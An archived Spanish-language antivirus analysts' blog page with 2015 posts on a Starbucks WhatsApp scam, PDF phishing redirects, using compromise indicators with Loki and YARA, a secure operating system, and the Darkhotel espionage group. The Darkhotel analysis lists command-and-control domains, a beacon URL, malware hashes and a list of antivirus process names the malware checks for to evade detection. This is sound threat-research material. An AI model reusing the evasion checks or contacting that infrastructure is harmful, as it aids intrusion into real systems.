Todas las amenazas

Virus

Hackers

Spam

Todo el sitio    Sólo virus
  
Enciclopedia de virus
Alertas
Análisis
Noticias
Glosario
Bitácora

 
Archivo

<< 2015  
ene feb mar
abr may jun
jul ago  
     
Sobre los autores de la bitácora del analista antivirus
About Diary's Authors

La bitácora del analista antivirus es un weblog mantenido por los analistas antivirus de Kaspersky Lab, encabezado por Eugene Kaspersky. Lea más sobre los autores de esta bitácora

 

  Home / Bitácora

Bitácora del analista antivirus

Pagarás por tu Starbucks, de una u otra forma


  Dmitry Bestúzhev       24 agosto 2015 | 17:51  MSK

Comentar  

Acabo de recibir este mensaje WhatsApp de un amigo que vive en México.

Según el mensaje, Starbucks está regalando 500 créditos en moneda local si respondes a su cuestionario, así que mi amigo me pidió que le echara un vistazo para ver si es auténtico.

Por desgracia para los que adoramos el café, se trata de una clásica campaña fraudulenta que se aprovecha de la marca Starbucks. Si la víctima activa el enlace en su dispositivo móvil, se le mostrará un falso cuestionario de Starbucks que contiene algunos scripts diseñados para ajustar la campaña de acuerdo con la ciudad de origen y la moneda local.

Así que si vives en EE.UU., te prometen 500 USD, y si vives en Argentina, te ofrecen sólo 500 pesos, etc. A los argentinos les toca la peor parte de la oferta.

Si tienes la paciencia de llegar hasta el final del cuestionario, los estafadores tienen la osadía de pedirte que renvíes el mensaje a 10 de tus contactos para reclamar tu cupón imaginario. Es así como se propaga esta estafa: ¡haciendo que las ingenuas víctimas enganchen a sus amigos!

¿Qué pasa si la víctima usa un navegador de escritorio? Hay un script en el sitio mencionado, localizado en Moldavia, que detecta el agente usuario del navegador. Si coincide con una versión de escritorio, el script desvía al visitante a la siguiente URL:

hxxp://dpgoo.[***].com/258769f2-6910-4d0b-9db1-4d386c60c9d7

A su vez, esta URL desvía a la víctima a otro sitio de Servicio Técnico falso que tiene la finalidad de asustarla y lograr que les permita a los estafadores el acceso remoto a su sistema.

Resulta que las llamadas de Google Hangouts a ese número están prohibidas. Mi primer intento de llamada recibió esta respuesta automática: “Este número está fuera de servicio”. Sin embargo, en un segundo intento con una línea alternativa, logré conectarme con alguien con acento extranjero.

Si sigues escuchando, puedes notar cuán simpático y atento es el ‘personal de apoyo’. Presta atención a las pausas e inflexiones emocionales detrás de cada línea del guión, como 'Mi nombre es...' y la entonación cuando revelé que mi ordenador estaba infectado: https://clyp.it/v2gjp3jq

Como puedes ver, este es un esquema multifuncional “Hoax-Fraud-Rogue” de estafas y fraudes con redundancias y bajas posibilidades de fracaso. Las mismas víctimas son utilizadas para intensificar las campañas enviando el mensaje a 10 nuevas víctimas. Entonces, primero lo primero: es muy importante romper la cadena, por lo que ¡debes dejar de bombardear a tus amigos con estas estafas! Después, invítalos a conversar sobre cómo funcionan las estafas, quizás tomando una taza de café que pagarás por tu propia cuenta.


Un trampolín phishing: redirecciones incrustadas en documentos PDF


  Dmitry Bestúzhev       24 agosto 2015 | 17:28  MSK

Comentar  

Hoy me encontré con un fraude típico de mensajes de correo electrónico proveniente de un banco norteamericano, pero con una novedad. Tras analizar el adjunto, resulta que no contiene un programa malicioso, sino un nuevo paso intermedio para engañar a soluciones de seguridad no muy efectivas.

El nombre del archivo original es “Swift confirmation.pdf” y se creó con Microsoft Word 2010.

/Author(Unknown)/CreationDate(D:20150814180000-04’00’)/Creator(Microsoft« Word 2010

Entonces, si es un programa malicioso ¿cuál es la trampa?

Bueno, se trata de un archivo ‘Mediabox’ que se activa al pulsarlo y desvía a las víctimas a un sitio phishing.

Si la víctima pulsa “View pdf File”, es decir, ver archivo pdf, primero se abre un sitio de desvíos y posteriormente salta a un servidor localizado en Chile, que es el que en realidad aloja al intento de phishing.

Es una técnica interesante capaz de engañar a algunos filtros anti-phishing que funcionan en base al análisis de URLs incrustadas en los mensajes de correo.

Los indicadores de peligro como forma de reducir riesgos


  Denis Makrushin       19 agosto 2015 | 18:33  MSK

Comentar  

Los propietarios de infraestructuras TI tienen que comprobar con frecuencia si hay componentes maliciosos en sus recursos. El contagio puede ocurrir, por ejemplo, si los delincuentes explotan vulnerabilidades de “día cero”. En estos casos, puede que los desarrolladores de software de seguridad informática todavía no sepan nada de las nuevas amenazas. Al mismo tiempo, es posible que los expertos ya estén investigando los incidentes relacionados con la nueva amenaza. Es más, hasta puede que ya hayan publicado algunos resultados de sus investigaciones.

Estos informes tienen valor práctico. Un informe típico sobre una campaña APT contiene la siguiente información:

  • quiénes son las víctimas del ataque y qué objetivos persiguen los delincuentes;
  • qué tiempo han estado activos los componentes maliciosos;
  • la lista de los nodos (direcciones IP) de las víctimas;
  • las actividades actuales de los componentes maliciosos y/o los grupos de ciberdelincuentes;
  • una descripción detallada de los instrumentos y programas maliciosos que usan los delincuentes;
  • una descripción de la infraestructura de los centros de administración;
  • los indicadores de peligro (IoC, reglas YARA, etc.).

De la información técnica detallada sobre las APT, al administrador de seguridad informática le interesarán sobre todo los indicadores de peligro. Es decir, el conjunto de datos que puede ayudar al administrador de la infraestructura IT a descubrir actividades malintencionadas en el sistema y tomar las medidas necesarias.

Pero en la práctica, ¿cómo usan los administradores de sistemas informáticos estos indicadores? En este artículo trataremos de dar respuestas a esta pregunta.

El indicador de peligro es una información estructurada sobre señales de actividad maliciosa que se puede importar a los sistemas automatizados de búsqueda de infecciones en la infraestructura. A pesar de que todavía no existe un formato estándar de descripción de los datos de los indicadores, en la industria han recibido una amplia difusión y soporte algunos tipos de datos estructurados.

IOC

IOC (indicator of compromise) es una lista de datos sobre amenazas (por ejemplo, cadenas que describen la ruta de ficheros o claves del registro), que brinda la posibilidad de utilizar programas de análisis automatizado para detectar la presencia de amenazas en la infraestructura.

Los escenarios más simples de uso de IOC suponen la búsqueda en el sistema de ficheros específicos según diferentes criterios: hash MD5, nombre del fichero, fecha de creación, tamaño y otros atributos. Además, se pueden buscar diferentes indicios específicos en la memoria o en el registro del sistema operativo Windows.

Existen diferentes formatos de representación de estos datos, por ejemplo, OpenIOC. Estos formatos permiten importar los datos en diferentes soluciones de protección para el posterior procesamiento de los indicadores. El administrador puede integrar los IOC tomados de los informes con diferentes soluciones de protección:

  • sistemas de protección de la clase “Endpoint Security”;
  • SIEM
  • IDS/IPS
  • HIDS/HIPS
  • diferentes instrumentos de investigación de incidentes.

Existe un gran número de soluciones comerciales para el procesamiento de IOC, pero en algunos casos las posibilidades de sus análogos de licencia libre son suficientes para analizar el sistema en búsqueda de indicios de infección. Por ejemplo, Loki, un escáner IOC distribuido bajo la licencia GPL, que permite buscar en el sistema diferentes indicios que aparecen como consecuencia de las actividades maliciosas.

Para analizar un sistema con la ayuda del scanner Loki basta con descomprimir el archivo de la utilidad e introducir los atributos IOC en la base de conocimientos del escáner. El directorio "signature" de la aplicación contiene las siguientes categorías de IOC:

  • “filename-iocs”, un fichero de texto que contiene listas de diferentes atributos del sistema de ficheros que son el resultado de las actividades de las amenazas;
  • “hash-iocs”, una lista de los hashes MD5, SHA1 y SHA256 de los componentes maliciosos que aparecen en el sistema después de la infección;
  • “falsepositive-hashes”, una lista de exclusiones de hashes MD5, SHA1 y SHA256 que el escáner clasifica como “falsos positivos” al detectar los componentes correspondientes.

Para ilustrar su uso, tomemos nuestro informe sobre la investigación de APT Carbanak. En la página 36 hay una lista de los hashes MD5 de todos los componentes maliciosos que pueden aparecer después de la infección. Abramos el fichero “hash-iocs” del escáner e introduzcamos la regla correspondiente en el siguiente formato: <MD5>;<description>.

Lista de los hashes MD5 de los compontes de la APT Carnabak en el fichero “hash-iocs” del escáner Loki

Acto seguido, en el fichero de texto “filename-iocs”, que describe los atributos de los componentes maliciosos en el sistema, crearemos un indicador en el formato:

# COMMENT

# REGULAREXPRESSION;SCORE

IOC para el sistema de ficheros en la lista “filename-iosc” del escáner Loki

Después de introducir los indicadores necesarios en la base de conocimientos del escáner, se puede iniciar el análisis de la estación de trabajo. Para hacerlo, hay que lanzar el fichero ejecutable “loki.exe” con privilegios de administrador (porque en caso contrario, el escáner no podrá analizar el contenido de la memoria operativa en búsqueda de atributos) y esperar que termine el análisis.

Proceso de análisis de la utilidad Loki

Al concluir el análisis, la aplicación creará un informe con el nombre "loki.txt" en el directorio del programa.

Reglas YARA:

Aparte de los diferentes indicadores de IOC, se pueden adjuntar a los informes ficheros con la extensión “.yar”. Estos ficheros contienen reglas creadas según una sintaxis especial para YARA, un instrumento destinado a la identificación y clasificación de muestras maliciosas. Las reglas YARA describen las señales de la presencia de actividades maliciosas en el sistema. Si alguna de las reglas se ejecuta, el analizador emite un veredicto sobre la infección con los detalles correspondientes (por ejemplo, el nombre de la amenaza).

El escáner Loki también admite las reglas YARA y por consiguiente, los ficheros .yar tomados de los informes pueden servirle al administrador para analizar el sistema en búsqueda de las amenazas mencionadas en el informe. Y para esto basta con trasladar el fichero .yar al directorio “signatura” e iniciar el análisis.

Sin embargo, para trabajar con las reglas YARA es mucho más adecuado usar el instrumento oficial de los creadores del proyecto YARA, porque su base de conocimientos se actualiza regularmente y es mucho mayor que las bases de utilidades similares. Esto permite usar los resultados del análisis para tener una visión más cabal del nivel de protección del sistema informático e información más completa sobre la presencia de componentes maliciosos en el mismo.

Para realizar el análisis en la estación de trabajo, basta con ejecutar la utilidad YARA con los parámetros necesarios. Por ejemplo:

yara32.exe –d md5= <MD5_hash><esta regla yara.yar><directorio a analizar>

donde el parámetro “-d” se usa para determinar variables externas. Si la utilidad detecta alguna correspondencia con las condiciones de la regla, mostrará una notificación con el nombre de la regla y el componente correspondiente.

Ejemplo de notificación sobre una regla YARA que se ejecutó

El administrador puede iniciar análisis similares, por ejemplo al iniciarse el sistema operativo. Para hacerlo, basta escribir un sencillo script PowerShell, que ejecutará la utilidad con los parámetros necesarios y, de ser necesario, usar Active Directory para organizar su ejecución en todos los equipos. User configuration -> Windows configuration -> Scenarios ->Logon.

STIX y JSON

Structured Threat Information Expression (STIX) es un idioma unificado para la notación estructurada de información sobre amenazas y su posterior importación en soluciones de software. Muchas de las soluciones de protección permiten importar la información descrita en el formato STIX (y también en JSON, del que hablaremos más adelante) para su uso posterior en la infraestructura, por ejemplo:

  • SIEM;
  • Soluciones de protección basadas en indicadores (por ejemplo, escáneres);
  • Plataformas Forensic;
  • Soluciones de la clase “Endpoint Security”, etc.

La solución popular SIEM IBM QRadar puede importar informes STIX, usando un script Phiton especial:

./stix_import.py -f STIXDocument.xml -i 192.168.56.2 -t XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX -r MyReferenceSet

Donde “-f” determina la ubicación del documento STIX local, “-i” determina el host con la consola QRadar instalada y "-t” determina el token de servicio para QRadar.

JSON es uno de los formatos más populares de intercambio de datos, que también se usa con frecuencia en los adjuntos de los informes. El uso de datos en el formato JSON depende de las tareas del administrador y las peculiaridades de la solución de software donde se realice la importación de estos datos. Por ejemplo, si el fichero JSON contiene las direcciones IP de los centros de administración a los que se conectan las estaciones de trabajo infectadas, el administrador de la infraestructura puede poner estas direcciones en la lista negra de su firewall, si este admite la importación de datos JSON. Si el firewall no admite la importación en este formato, el administrador puede utilizar un parser (procesador de ficheros JSON) para exportar la lista de direcciones del fichero, y después importarla a la lista negra del dispositivo.

Prepáralos como se debe

Los "indicadores de peligro” hacen que los datos sobre las amenazas tengan una aplicación efectiva: detectar software malicioso y reaccionar de inmediato a la aparición de incidentes. Al mismo tiempo, es muy frecuente que los indicadores se adjunten a los informes sobre amenazas, que muchos leen sin prestarles la debida atención. Pero incluso si el informe de alguna investigación no contiene una sección especial de "Indicators of Compromise", siempre se pueden extraer del mismo los datos útiles, convertirlos a cualquiera de los formatos descritos e importarlos en una solución de protección.

Nuestras últimas investigaciones con indicadores de peligro:

Wild Neutron – Economic espionage threat actor returns with new tricks

The Mystery of Duqu 2.0: a sophisticated cyberespionage actor returns

The Great Bank Robbery: the Carbanak APT

Icefog OpenIOC Release

Darkhotel Indicators of Compromise (PDF)

Crouching Yeti — Appendixes (PDF)

¿Qué es un sistema operativo seguro?


  14 agosto 2015 | 16:27  MSK

Comentar  

Andrey Nikishin

Tras la publicación de nuestro artículo sobre el hackeo de automóviles, recibimos varias preguntas sobre KasperskyOS. Quienes nos escribieron plantearon -con toda razón- que existen en el mercado varios sistemas operativos buenos y confiables, diseñados, entre otros fines, para la industria automotriz. El principal argumento que esgrimen para demostrar la superioridad tecnológica de las soluciones competidoras es que el principio de aislamiento del dominio de seguridad no es algo novedoso y que muchos de los sistemas actuales en uso poseen varias funciones adicionales de seguridad que se basan en las necesidades actuales, como la implementación de protocolos criptográficos, filtros de red y protección contra ataques de red. ¡Algunos de estos sistemas incluso están certificados con varias normas de seguridad!

Tosas estas funciones adicionales (incluyendo las certificaciones) son sin duda importantes, pero ¿esta funcionalidad por sí misma hace que un sistema operativo sea seguro y confiable? Para responder a esta pregunta, primero necesitamos responder a otra: ¿Qué es un sistema operativo seguro? Desde nuestro punto de vista, un sistema operativo seguro debería garantizar la ejecución segura o confiable de componentes que no son seguros (programas).

Nuestro concepto se basa en dos aspectos muy importantes. Uno es obvio: no confiamos en software de terceros y lo consideramos inseguro y desconfiable por definición. El otro aspecto no es tan obvio: deberíamos confiar en el sistema operativo y considerar confiable las funciones del kernel (núcleo). Para aumentar el nivel de confiabilidad (después de todo, hasta los caballeros no siempre creen en la palabra de sus pares), el kernel debería someterse a verificaciones formales y matemáticas (el sujeto de verificación meritaría, por sí mismo, una extensa investigación).

Tomando este paradigma como punto de inicio, no sólo implementamos una arquitectura segura en base a un kernel confiable, sino que también aprendimos de implementaciones existentes de sistemas operativos seguros. Los principios fundamentales, como la separación del dominio de seguridad y un microkernel son apenas la mitad de la historia. El estudio de otros sistemas y sus limitaciones sirve para evitar problemas conocidos y encontrar nuevas formas de implementar propiedades de seguridad. Como resultado, desarrollamos un sistema operativo que, por una parte, es similar en sus principios operativos a otros sistemas operativos, pero, por otra, posee funciones que le permiten superar limitaciones conocidas y mejorar las características de seguridad del sistema en el que se ejecuta el sistema operativo.

Como un ejemplo de esta mejora, me gustaría mencionar la tipificación IPC (Inter-Process Communication, comunicación entre procesos). Esta tecnología, cuya idea puede parecer bastante obvia, nos proporciona un control de bajo nivel de los datos enviados en llamadas de aplicaciones, proporcionando a las políticas de seguridad control de granularidad que nunca antes se había implementado a este nivel. Otra función consiste en la combinación de diferentes tipos de políticas de seguridad, como Flow Control y Type Enforcement, en un solo sistema. La política resultante es una mezcla de políticas con estado y sin estado, que ofrece lo mejor de ambos mundos. Por supuesto, las posibilidades de combinar políticas no se limitan a estos dos tipos. Ningún sistema operativo comercial puede presumir de esta flexibilidad. Esta funcionalidad proporciona un control estricto de toda la comunicación interprocesos, que se basa no sólo en el conocimiento del sujeto y del objeto de comunicación (quién solicita y a quién), sino también en el conocimiento del contexto de alto nivel de comunicación (lo que se solicita, cuándo y qué datos se transfieren).

Otras funciones de KasperskyOS incluyen un lenguaje flexible para definir políticas de seguridad y un sistema de verificación de políticas, que simplifica considerablemente la creación y depuración de políticas. Existen muchas más. La exclusividad de nuestro trabajo cuenta con el soporte de patentes en EE.UU. y Rusia.

Como resultado, creemos que hemos desarrollado un sistema operativo que implementa el principio de ejecución confiable de aplicaciones desconfiables. Esto se logró, entre otras cosas, mediante el uso del principio de separación del dominio de seguridad y un control de la comunicación interprocesos que es estricto y flexible al mismo tiempo. Esto significa que en el sistema operativo, los módulos sólo pueden interactuar siguiendo un protocolo rigurosamente definido, que les permite llamar sólo a las funciones permitidas en una secuencia rigurosamente definida. Para los usuarios, esto significa que aun si hay alguna vulnerabilidad en algún módulo que pudiera ser objeto de ataques (y admitimos que este puede ser el caso), el sistema operativo funciona de tal manera que el atacante sólo podrá controlar el módulo vulnerable, pero no podrá interferir con el funcionamiento de los otros módulos, porque todas las comunicaciones están controladas.

Un sistema operativo puede compararse a un escudo. Todas las capacidades de seguridad adicionales, incluyendo cortafuegos, protocolos para la transferencia segura de datos, e incluso las certificaciones, constituyen los remaches del escudo. Sin duda aumentan la confiabilidad del conjunto, pero no definen el nivel general de protección. Lo más importante es la arquitectura, los principios subyacentes del sistema operativo. Esto determina si el escudo será de papel, de madera o de acero. Muchos sistemas operativos tienen estupendos remaches, pero ¿en qué tipo de escudo están incrustados?


Los ataques de Darkhotel en 2015


  Global Research & Analysis Team (GReAT), Kaspersky Lab       10 agosto 2015 | 16:00  MSK

Comentar  

Los ataques del APT Darkhotel que tuvieron lugar hasta 2014 se caracterizan por el uso de certificados robados, la instalación de archivos .hta mediante múltiples técnicas, y la utilización de métodos poco usuales, como la infiltración en la red wi-fi de hoteles para colocar puertas traseras en los sistemas atacados. En 2015, todavía siguen empleándose muchas de esas técnicas y actividades. Sin embargo, además de las nuevas variantes del archivo malicioso .hta, encontramos nuevas víctimas, archivos adjuntos .rar con spearphishing RTLO, y la instalación de un día cero Hacking Team.

El APT Darkhotel sigue lanzando ataques spearphishing contra blancos en todo el mundo, con un alcance geográfico más amplio que el de los anteriores ataques contra las redes wi-fi de hoteles y la conformación de una red zombi. Algunas de las víctimas son diplomáticos o representan intereses comerciales estratégicos.

Los blancos y víctimas de Darkhotel en 2015 se localizaron en estos países:

  • Corea del Norte
  • Rusia
  • Corea del Sur
  • Japón
  • Bangladesh
  • Tailandia
  • India
  • Mozambique
  • Alemania

Estos son el archivo .hta, la puerta trasera relacionada, el exploit relacionado y dos sitios C&C de Darhotel en 2015:

  • storyonboard[.]net
  • tisone360[.]org
  • openofficev[.]info
  • saytargetworld[.]net
  • error-page[.]net
  • eonlineworld[.]net
  • enewsbank[.]net
  • thewordusrapid[.]com

Subconjunto de nombres de adjuntos relacionado con los incidentes spearphishing en 2015:

  • schedule(6.1~6).rar -> schedule(6.1~6)_?gpj.scr
  • schedule(2.11~16).rar -> schedule(2.11~16)_?gpj.scr
  • congratulation.rar -> congratulation_?gpj.scr
  • letter.rar -> letter_?gpj.scr

Uso consistente de descargadores ofuscados de .hta

Ya sea que la infección se realice a través de ataques spearphishing, de acceso físico al sistema o del exploit Flash día cero de Hacking Team, las más de las veces parece ser un método común para que un sistema recién infectado se comunique con el C&C de Darkhotel:

Un script ligeramente ofuscado (valores de variables de javascript ofuscados con escapes dobles), que se mantiene en un archivo .hta, escribe un ejecutable en el disco y lo lanza.

Resulta interesante que desde hace años este grupo haya instalado puertas traseras y códigos descargadores en la forma de archivos .hta. En 2010, observamos repetitivos artículos sobre Corea del Norte, publicados por el grupo norteamericano de expertos Brookings Institute, para atacar blancos relacionados con Corea del Norte mediante códigos maliciosos incorporados en archivos .hta. También enviaron mensajes de correo, que incluían enlaces a sus archivos maliciosos .hta, a grupos de turistas norcoreanos y economistas con intereses en Corea del Norte, entre otros. Resulta un poco extraño ver tanta dependencia de tecnología obsoleta de Windows, como las aplicaciones HTML, que Microsoft introdujo en 1999.

Fragmento del reciente sendspace.servermsys.com/downloader.hta:

Después de ejecutar y hacer el escaping de un par de variables, el archivo .hta recurre a antiguos componentes Adodb.stream para escribir una cadena xor’d con 0x3d como un archivo ejecutable, y lo ejecuta.

Este código resulta en la ejecución de “internet_explorer_Smart_recovery.exe” (MD5: 054471f7e168e016c565412227acfe7f), y una ventana oculta de navegador que telefonea a su C&C. En este caso, parece que los operadores de Darkhotel verifican si el navegador de la víctima es o no es Internet Explorer, ya que todas las versiones de IE producen el valor "0", mientras que otros navegadores no definen “appMinorVersion”. Esta recopilación de datos parece un poco extraña, porque los archivos .hta son soportados y ejecutados por mshta.exe sólo en sistemas Windows, que todavía siguen presentes en las distribuciones de Windows 8. Quizás se trate de un artefacto de las primeras etapas del desarrollo del código. Esta es una versión reciente:

“hxxp://sendspace.servermsys.com/readme.php?type=execution&result=created_and_executed&info=" + navigator.appMinorVersion + ”

El archivo “internet_explorer_Smart_recovery.exe” es un sencillo descargador ofuscado. Una serie de bucles xor 0x28 descifran los contenidos de un archivo batch, capaz de autoeliminarse, que después se escribe en el disco y se ejecuta. Más adelante en la ejecución, un bucle rc4 más complejo descifra la URL descargada y otras cadenas y datos.

Cuando termina, esta cadena URL descifrada y el connectback lucen así:

http://sendspace.servermsys.com/wnctprx. El archivo se descarga (b1f56a54309147b07dda54623fecbb89) al archivo “.tmp” en %temp%, se ejecuta y el descargador sale. Este archivo más extenso es una puerta trasera/descargador que incluye funciones ssh, y descarga sus llaves en el disco para la interacción ssh. Hemos encontrado antiguos ladrones de información de Darkhotel descargados y ejecutados en el sistema por estos descargadores.

Spearphishing y adjuntos .rar con RTLO

El APT Darkhotel lanza incesantes ataques spearphish contra blancos específicos para poder comprometer sus sistemas. Algunos blancos reciben repetidos ataques spearphish con esquemas muy parecidos de ingeniería social. Por ejemplo, el adjunto “schedule(2.11~16).rar” podría haberse enviado el 10 de febrero, y Darkhotel podría retomar los mismos blancos a fines de mayo, en un segundo intento, con el adjunto “schedule(6.1~6).rar”.

Comprime sistematicamente los archivos ejecutables RTLO .scr dentro de archivos comprimidos .rar, a fin de que aparezcan ante la víctima como archivos .jpg inofensivos. Estos son archivos ejecutables, que tienen estos archivos jpeg como carnada, y el código para crear un descargador Ink.

Cuando la víctima procede a abrir lo que suponen es un archivo de imagen jpg, el código ejecutable se ejecuta, descarga una imagen jpg al disco, y la abre con mspaint.exe en segundo plano. Este documento “de felicitació” está en coreano, lo que revela una posible característica de la víctima potencial.

Mientras se muestra la imagen, el código descarga un inusual acceso directo mspaint.Ink en el disco y lo ejecuta. El acceso directo contiene varios renglones de un script shell. Esta técnica también se usa en otros APTs como mecanismos de persistencia, como lo documentaron nuestros colegas de Mandiant. El archivo Ink de 64kb es un código descargador:

Cuando se ejecuta el archivo Ink, comienza un proceso de descarga desarrollado en AJAX para el archivo “unzip.js” (a07124b65a76ee7d721d746fd8047066) en openofficev.info. Este es otro archivo wscript desarrollado en AJAX para descargar y ejecutar un ejecutable compilado relativamente grande:

Este código ejecutable se guarda en %temp%\csrtsrm.exe, donde se ejecuta. Es un ejecutable relativamente grande (~1.2 mb) que inyecta un código malicioso y relanza hilos remotos en procesos legítimos.

Certificados robados y evasión

El grupo parece disponer de un arsenal de certificados robados e instala sus descargadores y puertas traseras firmados con ellos. Algunos de los últimos certificados revocados pertenecen a Xuchang Hongguang Technology Co. Ltd.

Darkhotel ahora tiende a ocultar su código bajo varias capas de cifrado. Es posible que se esté adaptado lentamente paa atacar ambientes con mejores defensas y que prefiera no sacrificar todavía sus certificados digitales robados. En ataques anteriores pudo haberse aprovechado de una larga lista de certificados fracturados y débilmente implementados.

No sólo sus técnicas de ofuscación se están fortaleciendo, sino que su lista de tecnologías antidetección se está ampliando. Por ejemplo, este descargador firmado (d896ebfc819741e0a97c651de1d15fec) descifra por etapas un conjunto de cadenas anti-malware para identificar tecnologías defensivas en un sistema que acaba de infectarse para después abrir cada proceso, buscando un nombre de imagen que coincida:

c:\avast! sandbox\WINDOWS\system32\kernel32.dll - Avast!
avp.exe - Kaspersky Lab
mcagent.exe;mcuicnt.exe - Intel/Mcafee
bdagent.exe - BitDefender
ravmon.exe,ravmond.exe - Beijing Rising
360tray.exe,360sd.exe,360rp.exe,exeMgr.exe - Qihoo 360
ayagent.aye,avguard.;avgntsd.exe - Avira Antivirus
ccsvchst.exe,nis.exe - Symantec Norton
avgui.exe,avgidsagent.exe,avastui.exe,avastsvc.exe - Avast!
msseces.exe;msmpeng.exe - Microsoft Security Essentials y Microsoft Anti-Malware Service
AVK.exe;AVKTray.exe - G-Data
avas.exe - TrustPort AV
tptray.exe – utilidad deToshiba
fsma32.exe;fsorsp.exe - F-Secure
econser.exe;escanmon.exe - Microworld Technologies eScan
SrvLoad.exe;PSHost.exe - Panda Software
egui.exe;ekrn.exe - ESET Smart Security
pctsSvc.exe;pctsGui.exe - PC Tools Spyware Doctor
casc.exe;UmxEngine.exe - CA Security Center
cmdagent.exe;cfp.exe - Comodo
KVSrvXP.exe;KVMonXP.exe - Jiangmin Antivirus
nsesvc.exe;CClaw.exe - Norman
V3Svc.exe - Ahnlab
guardxup. - IKARUS
FProtTray. - F-Prot
op_mon - Agnitum Outpost
vba332ldr.;dwengine. - DrWeb

Incluso la información de identificación que la puerta trasera busca en un sistema no se descifra hasta el momento del runtime. Al igual que el componente “ladrón de información”, documentado en nuestro anterior informe técnico sobre Darkhotel, este componente busca robar un conjunto de datos con los cuales identificará el sistema infectado. Gran parte de la información se recopila con el mismo conjunto de llamadas, es decir, kernel32.GetDefaultSystemLangID, kernel32.GetVersion, and kernel32.GetSystemInfo:

  • Página de códigos predeterminada del sistema
  • Información del adaptador de red
  • Arquitectura del procesador
  • Hostname y dirección IP
  • Sistema operativo Windows y versiones de Service Pack

En esencia, gran parte del código de este ladrón de información es la misma que observamos en ataques anteriores.

Tisone360.com, visitas, y el día cero Flash Hacking Team

El sitio tisone360.com nos pareció particularmente interesante. En abril de 2015, Darkhotel estaba enviando mensajes de correo phishing con enlaces a anteriores exploits Flash (cve-2014), y después, a principios de julio, comenzó a distribuir lo que se ha clasificado como un Flash día cero que se le filtró a Hacking Team.

Al parecer, el APT Darkhotel puede haber estado utilizando este Flash día cero para atacar a determinados sistemas. Pudimos utilizar “tisone360.com” para identificar algunas de sus actividades. El sitio estaba implementado y activo hasta el 22 de julio de 2015. Sin embargo, esta parece ser sólo una pequeña parte de sus actividades. Además del día cero icon.swfHT (214709aa7c5e4e8b60759a175737bb2b), al parecer el sitio “tisone360.com” estaba propagando el exploit Flash CVE-2014-0497 en abril. Informamos sobre la vulnerabilidad relacionada a Adobe en enero de 2014, cuando el APT Darkhotel la utilizaba.

Recientemente, el APT Darkhotel ha mantenido múltiples directorios funcionando en este sitio.

El directorio ims2 es el más activo. Contiene un conjunto de puertas traseras y exploits. El más interesante de estos es la vulnerabilidad Flash día cero de Hacking Team, icon.swf. En los días siguientes a la publicación de este servidor, el equipo limitó paulatinamente el acceso a /ims2/. De cualquier forma, los contenidos seguían siendo usados de forma activa.

icon.swf (214709aa7c5e4e8b60759a175737bb2b) -> icon.jpg (42a837c4433ae6bd7490baec8aeb5091)
-> %temp%\RealTemp.exe (61cc019c3141281073181c4ef1f4e524)

Después de que el exploit Flash descargaba icon.jog, se descifraba con una llave multibytes xor 0xb369195a02, tras lo cual se descargaban otros componentes.

Vale la pena notar que el grupo parece estar alterando la compilación y los sellos de tiempo vinculantes de su código ejecutable a fechas en 2013. Hemos visto esto en múltiples muestras instaladas y lo descubrimos a mediados de 2015, junto con el descargador icon.jpg.

El registro de visitas al directorio del sitio revela que el directorio se implementó el 8 de julio. El 8 y el 9 se registraron algunas visitas a una URL específica en el servidor desde cinco sistemas basados en los siguientes lugares (varios de éstos son posibles blancos del APT Darkhotel):

  • Alemania
  • Corea del Sur
  • China (posiblemente una investigación)
  • EE.UU.
  • Japón

Sin embargo, uno de estos sistemas colapsó el sitio el 9, con 12.000 visitas en 30 minutos. Este volumen de tráfico puede significar un ruidoso intento de escaneo, y no así ataques DoS contra el sitio:

Las visitas registradas en el sitio después del 9 son probablemente poco confiables y pueden haber más investigadores, en respuesta a la creciente notoriedad del sitio tras la publicación de informes el 9. Muchas de estas aproximadamente 50 visitas provienen de un subconjunto de los sistemas mencionados arriba y se repiten muchas veces. Las visitas desde los siguientes lugares ocurrieron el 10 o después:

  • Alemania (posiblemente una investigación)
  • Ucrania (posiblemente una investigación)
  • Sitios de Amazon, en varios lugares (posiblemente una investigación)
  • Googlebot, varios lugares
  • EE.UU.
  • Irlanda (posiblemente una investigación)
  • Rusia
  • Brasil
  • China
  • Finlandia
  • Canadá
  • Taiwán
  • Francia (posiblemente una investigación)
  • República Checa

Un flujo consistente de ataques

El grupo Darkhotel tiende a aferrarse a las técnicas que dan resultado. Por ejemplo, por años hemos visto el uso repetido de ataques spearphishing directamente desde archivos .hta. Ahora en 2015, como con el sitio tisone360.com mencionado arriba, hemos observado el uso repetido de una cadena creativa de conjuntos de propagación.

descargador -> verificación hta -> ladrón de información -> más componentes compilados.
vector -> script wsh -> script wsh -> ladrón de información -> más componentes compilados.
spearphish -> vector -> verificación hta -> descargador -> ladrón de información

Si bien una cadena de propagación que incluye scripts ofuscados dentro de archivos .hta ocurrió en 2011, el volumen parece haber aumentado en 2014 y ahora en 2105.

openofficev[.]info (2015)
office-revision[.]com (2014)
online.newssupply[.]net (2011)

Infraestructura oculta a plena vista

El grupo está ahora más alerta con el mantenimiento de sus sitios, y es más estricto con su configuración y respuesta. En este momento, su C&C responde con imágenes del anti-héroe “Drinky Crow”, de las caricaturas Maakies.

Otros C&C de Darkhotel tienden a combinarse con sitios aleatorios en la web cuando se visitan páginas incorrectas o no existentes. Extraen imágenes desde FOTOLIA o desde artículos de sitios de fabricantes de helados artesanales:

Detalles técnicos

HTA md5:

021685613fb739dec7303247212c3b09
1ee3dfce97ab318b416c1ba7463ee405
2899f4099c76232d6362fd62ab730741
2dee887b20a06b8e556e878c62e46e13
6b9e9b2dc97ff0b26a8a61ba95ca8ff6
852a9411a949add69386a72805c8cb05
be59994b5008a0be48934a9c5771dfa5
e29693ce15acd552f1a0435e2d31d6df
fa67142728e40a2a4e97ccc6db919f2b
fef8fda27deb3e950ba1a71968ec7466

Adjuntos spearphish md5:

5c74db6f755555ea99b51e1c68e796f9
c3ae70b3012cc9b5c9ceb060a251715a
560d68c31980c26d2adab7406b61c651
da0717899e3ccc1ba0e8d32774566219
d965a5b3548047da27b503029440e77f
dc0de14d9d36d13a6c8a34b2c583e70a
39562e410bc3fb5a30aca8162b20bdd0 (detectado a fines de 2014, usado en 2015)
e85e0365b6f77cc2e9862f987b152a89 (detectado a fines de 2014, usado en 2015)

Descargador grande md5 en 2015:

5e01b8bc78afc6ecb3376c06cbceb680
61cc019c3141281073181c4ef1f4e524
3d2e941ac48ae9d79380ca0f133f4a49
fc78b15507e920b3ee405f843f48a7b3
da360e94e60267dce08e6d47fc1fcecc
33e278c5ba6bf1a545d45e17f7582512
